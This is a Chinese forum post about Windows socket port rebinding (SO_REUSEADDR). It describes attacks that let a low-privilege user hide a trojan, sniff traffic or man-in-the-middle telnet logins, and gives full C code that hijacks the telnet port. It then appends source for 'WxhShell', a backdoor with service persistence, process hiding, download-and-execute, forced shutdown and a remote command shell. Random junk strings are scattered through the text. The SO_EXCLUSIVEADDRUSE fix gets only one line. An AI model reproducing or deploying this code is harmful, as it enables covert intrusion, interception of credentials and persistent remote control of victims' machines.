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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pKM5<1J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ua'dm6",:  
ZV=)`E`I|  
  saddr.sin_family = AF_INET; wW1E 'Vy{  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o#IQz_  
6}vPwI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /^ d!$v  
8+b ?/Rn0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [P*w$Hn  
Q>FuNdUk  
  这意味着什么?意味着可以进行如下的攻击: g!k'tizYD  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8")1,   
Xu1tN9:oE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b ~Qd9 Nf  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T]5JsrT  
_a"\g9{%*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fRTQ5V  
xY/ S;dE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w:}RS.AK  
uQ;b'6Jcp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mb I';Mq  
<*Kj7o{Qn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4Qr16,Us  
S> f8j?n  
  #include +^c;4-X 0  
  #include >^@/Ba$h  
  #include T/^ /U6JB  
  #include    (i,TxjS'od  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |WiK*  
  int main() B=:7N;BT  
  { CapWn~*g  
  WORD wVersionRequested; 'w+T vOB  
  DWORD ret; y@|gG&f T  
  WSADATA wsaData; %#rH~E  
  BOOL val; T j7i#o  
  SOCKADDR_IN saddr; o)P'H"Ki  
  SOCKADDR_IN scaddr; RNyw`>  
  int err; (R*K)(Nw[  
  SOCKET s; +8FlDiP  
  SOCKET sc; |pv:'']J  
  int caddsize; AepAlnI@  
  HANDLE mt; `e t0i.  
  DWORD tid;   F/\w4T  
  wVersionRequested = MAKEWORD( 2, 2 ); fA u^%jiU  
  err = WSAStartup( wVersionRequested, &wsaData ); ~+{OSx<S  
  if ( err != 0 ) { C@` eYi  
  printf("error!WSAStartup failed!\n"); V `V Z[  
  return -1; :7t~p&J  
  } G"bItdb  
  saddr.sin_family = AF_INET; d v@B-l;  
   p/B&R@%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nV-A0"z_&  
6,sZo!G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (yv&&Jc  
  saddr.sin_port = htons(23); hL#5:~(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )miY>7K  
  { nz:I\yA  
  printf("error!socket failed!\n"); 'W 5r(M4U  
  return -1; hPhNDmL#3  
  } f%0^89)  
  val = TRUE; ?b0VB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )6#dxb9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #EiOC.A=  
  { ;7"}I  
  printf("error!setsockopt failed!\n"); 1;<J] S$$  
  return -1; OPR+K ?  
  } ~9JU_R^%m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0 !yvcviw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TTaSg\K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `#&pB0.y  
6CBk,2DswI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wkK61a h6  
  { jW5n^Y)  
  ret=GetLastError(); ]q DhGt  
  printf("error!bind failed!\n"); 3!M;Z7qF]  
  return -1; w?6"`Mo  
  } V`$Jan  
  listen(s,2); ooY2"\o  
  while(1) S?Q4u!FC  
  { h% BA,C  
  caddsize = sizeof(scaddr); iva&W  
  //接受连接请求 8munw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d:C-   
  if(sc!=INVALID_SOCKET) vdrV)^  
  { )=TD}Xb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YRF%].A%2  
  if(mt==NULL) 1J<Wth{  
  { .8hB <G  
  printf("Thread Creat Failed!\n"); _V6jn~N  
  break; %;kr%%t%  
  } 8`Fo^c=j  
  } y#8| @?  
  CloseHandle(mt); w(pLU$6X  
  } Dk4Jg++  
  closesocket(s); 6r/NdI  
  WSACleanup(); \D(6t!Ox  
  return 0; zRPXmu{t  
  }   !_rAAY  
  DWORD WINAPI ClientThread(LPVOID lpParam) WbC|2!  
  { _hyboQi  
  SOCKET ss = (SOCKET)lpParam; 'L)@tkklp  
  SOCKET sc; UA$ XjP  
  unsigned char buf[4096]; Qi`Lj5;\F  
  SOCKADDR_IN saddr; Q':xi;?Kt  
  long num; MkZm =Sf  
  DWORD val; ~;O|$xL  
  DWORD ret; A\Rkt;:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @.ebQR-:H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YKq,`7"%  
  saddr.sin_family = AF_INET; z?`&HU Nf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~F?s\kp6  
  saddr.sin_port = htons(23); T8E=}!68w}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /,dcr*  
  { YG ,  
  printf("error!socket failed!\n"); so}(*E&(a  
  return -1; KCd}N  
  } rtf\{u9 }g  
  val = 100; ?#"rI6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'EoJo9p6}  
  { YL \d2  
  ret = GetLastError(); aOWW ..|  
  return -1; y?j#;n0  
  } s*{l}~fPkW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v'uWmL7C  
  { [2I1W1pd  
  ret = GetLastError(); xayo{l=uGv  
  return -1; '"&M4.J{  
  } ,K=\Y9l3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (hej 3;W  
  { j\& `  
  printf("error!socket connect failed!\n"); k4jZu?\C]  
  closesocket(sc); $Kgw6  
  closesocket(ss); f*KNt_|:  
  return -1; {]1o($.u  
  } ! iuDmL  
  while(1) `Yn:fL7S  
  { mxk :P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8&?Kg>M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 umZy=KHj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vgY ) L  
  num = recv(ss,buf,4096,0); 9TRS#iVL+*  
  if(num>0) yW&ka3j\  
  send(sc,buf,num,0); TX;)}\  
  else if(num==0) U+zntB  
  break; NryOdt tI  
  num = recv(sc,buf,4096,0); qg:EN~E#  
  if(num>0) sG\K$GP!  
  send(ss,buf,num,0); u<4bOJn({  
  else if(num==0) F x^X(!)~]  
  break; 8H|ac[hXK2  
  } ?a)Fm8Y  
  closesocket(ss); Z{gm4YV  
  closesocket(sc); _07$TC1  
  return 0 ; %NM={X|'  
  } }kP<zvAaw  
%k~ezn  
jAU&h@  
========================================================== v\_\bT1  
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下边附上一个代码,,WXhSHELL XMdCQ=  
)@P*F) g~  
========================================================== kdp^{zW}  
`WnsM; 1Y"  
#include "stdafx.h" @_7rd  
-m@PqJF^  
#include <stdio.h> }r@yBUW  
#include <string.h> %V+"i_{m  
#include <windows.h> 3+(lKd  
#include <winsock2.h> boHbiE  
#include <winsvc.h> Js vdC]+  
#include <urlmon.h> F-oe49p5e  
Y}: 4y$<  
#pragma comment (lib, "Ws2_32.lib") 5-y*]:g(  
#pragma comment (lib, "urlmon.lib") Q J-|zS.W  
P|Gwt&  
#define MAX_USER   100 // 最大客户端连接数 5[4nFa}R:5  
#define BUF_SOCK   200 // sock buffer R PoBF~>  
#define KEY_BUFF   255 // 输入 buffer @0]WMI9B"B  
:~#)Xa0I  
#define REBOOT     0   // 重启 u&^KrOM@#  
#define SHUTDOWN   1   // 关机 'O\ y7"a  
O"Nr$bS(Y  
#define DEF_PORT   5000 // 监听端口 C*3St`2@9  
MtaGv#mJ  
#define REG_LEN     16   // 注册表键长度 .a7RGT3]m  
#define SVC_LEN     80   // NT服务名长度 3ce$eZE  
dR;N3KwY  
// 从dll定义API G"OP`OMDc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .xWaS8f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d;]m wLB0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2[HPU M2>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xr7}@rq"U<  
Sk/@w[  
// wxhshell配置信息 q4&! mDU  
struct WSCFG { `[g$EXX  
  int ws_port;         // 监听端口 VsAJ2g9L  
  char ws_passstr[REG_LEN]; // 口令 B^r?N-Z A  
  int ws_autoins;       // 安装标记, 1=yes 0=no , ?U)mYhI  
  char ws_regname[REG_LEN]; // 注册表键名 CuvY^["  
  char ws_svcname[REG_LEN]; // 服务名 U|V,&RlbR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1n[)({OQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6p*X8j3pW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @#OL{yMy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,;Wm>V)o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _,)_(R ,h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U4fv$gV  
1W{oj  
}; \t&! &R#  
_.Hj:nFHz  
// default Wxhshell configuration $wp>2  
struct WSCFG wscfg={DEF_PORT, }P0bNY5?%  
    "xuhuanlingzhe", I`X!M!dB)  
    1, F |BY]{  
    "Wxhshell", QK[^G6TI  
    "Wxhshell", vJ}WNvncVF  
            "WxhShell Service", 2HmK['(  
    "Wrsky Windows CmdShell Service", KR?aL:RYb  
    "Please Input Your Password: ", "Gp Tmu?  
  1, P dqvXc  
  "http://www.wrsky.com/wxhshell.exe", 5z,q~CU  
  "Wxhshell.exe" S',h*e  
    }; rHB>jN@$  
# o/;du  
// 消息定义模块 #%@bZ f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t3Gy *B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [mu8V+8@d4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v#&;z_I+  
char *msg_ws_ext="\n\rExit."; npltsK):  
char *msg_ws_end="\n\rQuit."; i@nRZ$K  
char *msg_ws_boot="\n\rReboot..."; pI-Qq%Nwt  
char *msg_ws_poff="\n\rShutdown..."; fc@<'-VA  
char *msg_ws_down="\n\rSave to "; nUpj+F#  
"h_f- vP  
char *msg_ws_err="\n\rErr!"; X-(( [A  
char *msg_ws_ok="\n\rOK!"; NMK$$0U  
F t11?D B  
char ExeFile[MAX_PATH]; Zt! $"N.,  
int nUser = 0; ,.p 36ZLP  
HANDLE handles[MAX_USER]; " $farDDoF  
int OsIsNt; z@3gNY&7.8  
>;,23X  
SERVICE_STATUS       serviceStatus; d.~ns4bt9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "zJxWXI  
%<nGm\  
// 函数声明 #;a+)~3*O  
int Install(void); #Mn?Nn  
int Uninstall(void); ai$l7]7  
int DownloadFile(char *sURL, SOCKET wsh); [k\VUg:P  
int Boot(int flag); j[:70%X  
void HideProc(void); V[kJ;YLPN  
int GetOsVer(void); j[gqS%  
int Wxhshell(SOCKET wsl); gPB=Z!  
void TalkWithClient(void *cs); wE.jf.q  
int CmdShell(SOCKET sock); I2CI9,0  
int StartFromService(void); '+/mt_re=  
int StartWxhshell(LPSTR lpCmdLine); A"M;kzAfHM  
!Z2h ?..O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J[6/dM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ASoBa&vX  
9D\E0YG X/  
// 数据结构和表定义 .jqil0#)Y"  
SERVICE_TABLE_ENTRY DispatchTable[] = YX,;z/Jw2  
{ ;W5.g8  
{wscfg.ws_svcname, NTServiceMain}, @4*eH\3  
{NULL, NULL} 0qFO+nC  
}; 9?ll(5E  
h\@X!Z,  
// 自我安装 2Xv}JPS2As  
int Install(void) =p[Sd*d  
{ JJ)  
  char svExeFile[MAX_PATH]; K\Q4u4DjbJ  
  HKEY key; 2(GY k  
  strcpy(svExeFile,ExeFile); /'DAB**  
}|Q\@3&  
// 如果是win9x系统,修改注册表设为自启动 OCdX'HN5Y  
if(!OsIsNt) { wS|k3^OV%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }o!b3*#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gq1C"s$4'  
  RegCloseKey(key); o<48'>[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {wSz >,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W7|nc,i0\  
  RegCloseKey(key); '>|K d{J0  
  return 0; <Ffru?o4j  
    } |qQ6>IZ  
  } z[[qrR  
} (kX:@9Pn  
else { u8?$W%eW  
<^> nR3E  
// 如果是NT以上系统,安装为系统服务 3<)][<Ud  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Q$8p2W  
if (schSCManager!=0) F# 9^RA)9  
{ ]:F !h2  
  SC_HANDLE schService = CreateService b (H J|  
  ( t;3).F  
  schSCManager, voRb>xF  
  wscfg.ws_svcname, W^HE1Dt]  
  wscfg.ws_svcdisp, &$T7eOiZ  
  SERVICE_ALL_ACCESS, R!"`Po  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % mPv1$FH  
  SERVICE_AUTO_START, [C-FJ>=S  
  SERVICE_ERROR_NORMAL, fS'` 9  
  svExeFile, \kI{#   
  NULL, P(b~3NB)  
  NULL, w `d9" n  
  NULL, R9-mq; u+  
  NULL, 8.wtv5eZ  
  NULL kene' aDm  
  ); (8ct'Q;  
  if (schService!=0) WyB^b-QmDh  
  { 1)97AkN(O  
  CloseServiceHandle(schService); <ir]bQT  
  CloseServiceHandle(schSCManager); ^(T~Qp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4,YL15.  
  strcat(svExeFile,wscfg.ws_svcname); -e"kJd&V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (u@X5O(a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WCqa[=v)t  
  RegCloseKey(key); h c]p^/H  
  return 0; XLYGhM  
    } k=p[Mlic/  
  } Z"Q9^;0%  
  CloseServiceHandle(schSCManager); inq {" 6  
} {ktwX\z  
} Z{ 9Io/  
icVB?M,m  
return 1; %<O~eXY  
} q!><:"#[G  
:YX5%6  
// 自我卸载 [\fwnS_1  
int Uninstall(void) e`JWY9%  
{ ]i1OssV~>  
  HKEY key; h~._R6y  
g&. OJ  
if(!OsIsNt) { ;1_3E2E$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (6 }7z+  
  RegDeleteValue(key,wscfg.ws_regname); ,|#biT-<T  
  RegCloseKey(key); z.h;}QRJ,@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^rY18?XC+:  
  RegDeleteValue(key,wscfg.ws_regname); heWQPM|s  
  RegCloseKey(key); ~(Q#G" t  
  return 0; )@tHS-Jf  
  } E 8$S0u;`  
} #Lk~{  
} M U '-  
else { m' |wlI[lq  
<4zSh3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |v#D}E  
if (schSCManager!=0) XW2ZQMos1  
{ =jxy4`oF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >xF&>SDC  
  if (schService!=0) /Q89y[  
  { 3=Uyt  
  if(DeleteService(schService)!=0) { DV>;sCMJ %  
  CloseServiceHandle(schService); el2<W=^M  
  CloseServiceHandle(schSCManager); $n47DW &  
  return 0; CQ{{J{pU"  
  } KP>1%ap6  
  CloseServiceHandle(schService); *L Y6hph"  
  } tt6GtYrC 1  
  CloseServiceHandle(schSCManager); g"c7$  
} x]R0zol  
} wQ9@ l  
P{J9#.Zq&s  
return 1; Oc.8d<  
} TnKOr~@*  
*.D{d0A  
// 从指定url下载文件 ~Dw% d;  
int DownloadFile(char *sURL, SOCKET wsh) ,iZKw8]f  
{ uc]5p(9Hb  
  HRESULT hr; tWaGCxaE  
char seps[]= "/"; zYWVz3l  
char *token; X(8LhsP  
char *file; ~6QV?j  
char myURL[MAX_PATH]; <F-IF7>a  
char myFILE[MAX_PATH]; ,[dvs&-*  
}w >UNGUMh  
strcpy(myURL,sURL); k$DRX) e  
  token=strtok(myURL,seps); &t!f dti  
  while(token!=NULL) b+f '  
  { 8$IUit h  
    file=token; yOP$~L#TWs  
  token=strtok(NULL,seps); z 9WeOs  
  } h\~!!F  
T@zp'6\H  
GetCurrentDirectory(MAX_PATH,myFILE); wM-H5\9n  
strcat(myFILE, "\\"); p=i6~   
strcat(myFILE, file); 6O0aGJ,H  
  send(wsh,myFILE,strlen(myFILE),0);  R; &k/v  
send(wsh,"...",3,0); CEzdH!nP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \~U:k4  
  if(hr==S_OK) !u4eI0?R?  
return 0; n%02,pC6,  
else *7L1SjZw  
return 1; zh(=kS `  
+<B"g{dLuX  
} L i 9$N"2  
#~w~k+E4  
// 系统电源模块 R-mn8N&  
int Boot(int flag) -0NkAQrg  
{ 3e\IRF xzb  
  HANDLE hToken; OW!y7  
  TOKEN_PRIVILEGES tkp; Uw3wR!:  
=k1sF3.V'c  
  if(OsIsNt) { K]dR%j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AOV{@ b(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #)S&Z><<  
    tkp.PrivilegeCount = 1; z XUr34jF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wMCgL h\wi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cBZJ  
if(flag==REBOOT) { A.$P1zwC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :}gEt?TUhs  
  return 0; 3m$Qd#|  
} uy<b5.!-  
else { iYlkc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EV|W:;Sg  
  return 0; (>lH=&%zj  
} ;Uy}(  
  } N!-P2)@  
  else { ETdN<}m  
if(flag==REBOOT) { 5as5{"l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )6o%6$c  
  return 0; :C={Z}t/F  
} HoeW6UV  
else { q[+KQ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >8$Lqj^i  
  return 0; 3h A5"G+7  
} $Ny:At  
} ^D ;EbR  
KYz@H#M  
return 1; Q DKY7"H  
} y!q`o$nK  
k_gl$`A  
// win9x进程隐藏模块 zp``e;gY  
void HideProc(void) $gL^\(_3H  
{ nD!t*P  
i#*lK7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4VC8#x1  
  if ( hKernel != NULL ) kD)]\   
  { .VohW=D3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "QBl "<<s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,F "P/`i'  
    FreeLibrary(hKernel); X[SIk%{D  
  } }2Y`Lr  
\vS > jB  
return; x]4>f[>*>  
} ocpM6b.fK  
"}oo`+]Cq  
// 获取操作系统版本 z$M-UxY  
int GetOsVer(void) ]x%sX|Rj  
{ D/,(xWaT  
  OSVERSIONINFO winfo; >T{TE"XyO|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jBd=!4n  
  GetVersionEx(&winfo); 0+.<BOcW5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^E~1%Md.  
  return 1; Xxj<Ai 2  
  else nE bZ8M  
  return 0; t5P8?q\  
} +Z]}ce u"  
6l2Os $  
// 客户端句柄模块 +HgyM0LFg  
int Wxhshell(SOCKET wsl) Mf7 [@#$  
{ vjA!+_I6  
  SOCKET wsh; wbg ?IvY[  
  struct sockaddr_in client; {z9z#8`C;  
  DWORD myID; bik lja  
9 aKU}y  
  while(nUser<MAX_USER) :lK8i{o  
{ /Kd'!lMuz  
  int nSize=sizeof(client); j8^zE,Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <)Y jVGG  
  if(wsh==INVALID_SOCKET) return 1; *_H]?&  
8>xd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CdtCxy5  
if(handles[nUser]==0) 2+*o^`%4P  
  closesocket(wsh); 'a:';hU3f  
else ;hh.w??  
  nUser++; C^:{y  
  } h<n2pz}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -<e_^  
Jid_&\  
  return 0; D u_ ;!E  
} _SH~.Mt_!  
\6pQ&an  
// 关闭 socket *?>52 -&b  
void CloseIt(SOCKET wsh) [<>%I#7ulG  
{ xU(b:D Z  
closesocket(wsh); OM`Ws5W}f  
nUser--; 42:,*4t(  
ExitThread(0); |3hNTH?  
} w{4#Q[  
2(P<TP._E  
// 客户端请求句柄 3FMYs&0r4  
void TalkWithClient(void *cs) vYq"W%  
{ G'wyH[ d/  
eQMa9_  
  SOCKET wsh=(SOCKET)cs; f=Oj01Ut*  
  char pwd[SVC_LEN]; o :j'd  
  char cmd[KEY_BUFF]; '<O.J(N~4!  
char chr[1]; 14(ct  
int i,j; *q@3yB}  
3ik~PgGoKQ  
  while (nUser < MAX_USER) { w BoP&l  
n 8FIxl&u  
if(wscfg.ws_passstr) { N37CAbw0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); we kb&?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f9O_M1=|lo  
  //ZeroMemory(pwd,KEY_BUFF); z9v70 q  
      i=0; }n +MVJ;dG  
  while(i<SVC_LEN) { u_b6u@r7  
R''2o_F6  
  // 设置超时 +6L.a3&(b  
  fd_set FdRead; cb/$P!j7  
  struct timeval TimeOut; G}aM~,v  
  FD_ZERO(&FdRead); aFL<(,~r  
  FD_SET(wsh,&FdRead); kZfj"+p_S  
  TimeOut.tv_sec=8; Q,};O$h  
  TimeOut.tv_usec=0; Bm6t f}8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l vBcEg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KXBTJ&  
m &[(xVM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j|b$b,rF\  
  pwd=chr[0]; "S>VqvH3  
  if(chr[0]==0xd || chr[0]==0xa) { KYq<n& s  
  pwd=0; $MM[`^~  
  break; 9QeBz`lm)  
  } #(Yd'qKo  
  i++; xX8 c>p  
    } %2beoH'  
Q_*.1L  
  // 如果是非法用户,关闭 socket Xod/GY G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A^4#6],%v  
} 9|K :\!7  
NYR:dH]N~d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .{(gku>g(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V]Uc@7S/  
G%CS1#  
while(1) { DH.CAV  
7b R[.|T  
  ZeroMemory(cmd,KEY_BUFF); HLqDI lL  
ixqvX4vv,B  
      // 自动支持客户端 telnet标准   ~Yre(8+M  
  j=0; ^ JU#_  
  while(j<KEY_BUFF) { UUvR>5@n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [9y y<Z5  
  cmd[j]=chr[0]; =vL >&$  
  if(chr[0]==0xa || chr[0]==0xd) { /5Yl, P  
  cmd[j]=0; w4RtIDW:  
  break; g c<Y?a-  
  } l?HC-_Pbh  
  j++; "~"=e  
    } ;NGSJfn  
:GM3n$  
  // 下载文件 6-\M }xq?  
  if(strstr(cmd,"http://")) { Q@C  y\l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D% 2S!  
  if(DownloadFile(cmd,wsh)) d\tA1&k71  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FyV $`c$  
  else &B$%|~Y5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PE6ZzxR|U<  
  } %~N| RSec  
  else { ayLINpL  
(?P\;yDG  
    switch(cmd[0]) { =ibKdPtTh^  
  +Ecn  
  // 帮助 v/,,z+%-  
  case '?': { +rKV*XX@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q%0 N\  
    break; )t$-/8  
  } Qgq VbJP"  
  // 安装 D<T:UJ  
  case 'i': { t]ID  
    if(Install()) 3.Jk-:u %m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /WIH#M  
    else 2WB`+oWox  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1CS\1[E  
    break; Hr*xAx  
    } h<g2aL21?F  
  // 卸载 w[u>*I  
  case 'r': { f/sLQdK,  
    if(Uninstall()) -CTLQyj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g!`^!Q/($  
    else xQNGlVipZ@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xr31< 4B  
    break; 3E!3kSh|  
    } -.5R.~@  
  // 显示 wxhshell 所在路径 j$P`/-N  
  case 'p': { C-^8;xd  
    char svExeFile[MAX_PATH]; XM`&/)  
    strcpy(svExeFile,"\n\r"); ZSLvr-,D  
      strcat(svExeFile,ExeFile); 4@M`BH`  
        send(wsh,svExeFile,strlen(svExeFile),0); ./CD W  
    break; <9S5  
    } $?DEO[p.  
  // 重启 JHJ]BMm  
  case 'b': { /lc4oXG8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qU ,{jD$  
    if(Boot(REBOOT)) |J~A )Bw?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KB gFS%-W  
    else { D4T(Dce  
    closesocket(wsh); |W5lhx0U  
    ExitThread(0); 5e^z]j1Yv  
    } 5dL!e<<  
    break; hcR^?  
    } 'T]Ok\  
  // 关机 !z]{zM%  
  case 'd': { 'wo}1^V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +^[SXI^JaJ  
    if(Boot(SHUTDOWN)) )!'7!" $  
